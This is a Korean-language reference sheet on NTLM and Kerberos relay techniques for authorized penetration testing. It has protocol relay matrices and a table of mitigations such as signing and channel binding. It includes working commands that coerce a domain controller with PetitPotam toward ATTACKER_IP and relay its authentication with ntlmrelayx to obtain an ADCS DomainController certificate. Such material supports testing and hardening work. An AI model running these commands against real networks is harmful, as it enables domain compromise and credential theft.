
다중 릴레이 기법에 대한 기술 참조
승인된 내부 침투 테스트 중 NTLM 릴레이 공격을 위한 종합 참조 자료입니다. 인증 기초, 강제(Coercion) 기법, 프로토콜별 릴레이 대상, 도구, 고급 체이닝, 방어 완화 조치를 다룹니다.
최신(CVE-2019-1040 이후) 패치 환경에서의 클래식 NTLM 릴레이에 적용됩니다. 보다 자세한 크로스 프로토콜 분석은 크로스 프로토콜 릴레이를 참조하세요.
* 대상은 SMB 서명을 요구하지 않아야 함 † SMB 소스 NTLM은 NEGOTIATE에 서명 플래그를 포함하며, LDAP 및 ADCS HTTP가 이를 강제합니다. 따라서 릴레이된 세션이 공격자가 보유하지 않은 서명 키를 요구하게 됩니다. 이것이 LDAP 및 ADCS 릴레이에 WebDAV/HTTP 소스 인증이 선호되는 이유입니다.
Cymulate / CVE-2026-20929 프리미티브(2026년 1월) — 공격자가 CNAME으로 DNS를 중독시키고, Windows가 SPN을 정규화하며, 클라이언트가 공격자가 선택한 대상에 대한 TGS를 요청하면 AP-REQ가 릴레이됩니다. 많은 서비스가 SPN의 DNS 부분만을 기준으로 티켓을 수용하므로, 소스 SPN 클래스는 NTLM 릴레이에서보다 훨씬 덜 중요합니다. 공격을 좌우하는 것은 대상 서비스가 자체적인 안티 릴레이 통제를 강제하는지 여부입니다.
모든 행은 공격자가 DNS를 중독시킬 네트워크 위치(mitm6을 통한 DHCPv6, ARP, rogue DHCPv4)를 보유하고 있다고 가정합니다. 전체 기법: DNS CNAME 악용을 통한 Kerberos 릴레이.
# Classic example: coerce DC, relay to ADCS for a DC certificate
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
python3 PetitPotam.py ATTACKER_IP DC_IP
| 소스 인증 | → SMB | → LDAP | → MSSQL | → HTTP | → ADCS | → SOCKS |
|---|
| SMB | ✅* | ❌† | ✅ | ✅ | ❌† | ✅ |
| HTTP | ✅* | ✅ | ✅ | ✅ | ✅ | ✅ |
| WebDAV | ✅* | ✅ | ✅ | ✅ | ✅ | ✅ |
| MSSQL | ✅* | ✅ | ✅ | ✅ | ✅ | ✅ |
| 대상 서비스 | 다음 경우가 아니면 릴레이 가능... | 패치 / 상태 |
|---|
| SMB | 대상에서 SMB 서명이 필수인 경우 | — |
| LDAP | LDAP 서명이 필수인 경우 | — |
| LDAPS | LdapEnforceChannelBinding = 2(항상)인 경우 | — |
| HTTP / IIS | HTTP CBT가 강제됨(HTTP.sys 토큰 검사 = Require) | CVE-2026-20929가 HTTP.sys CBT를 백포트 |
ADCS /certsrv/ | vdir에서 Extended Protection = Require인 경우 | HTTP.sys CBT가 CVE-2026-20929를 통해 적용됨 |
| MSSQL | Extended Protection이 활성화된 경우 | — |
| Exchange(OWA/ECP/…) | 모든 가상 디렉터리에 EPA가 적용된 경우 | — |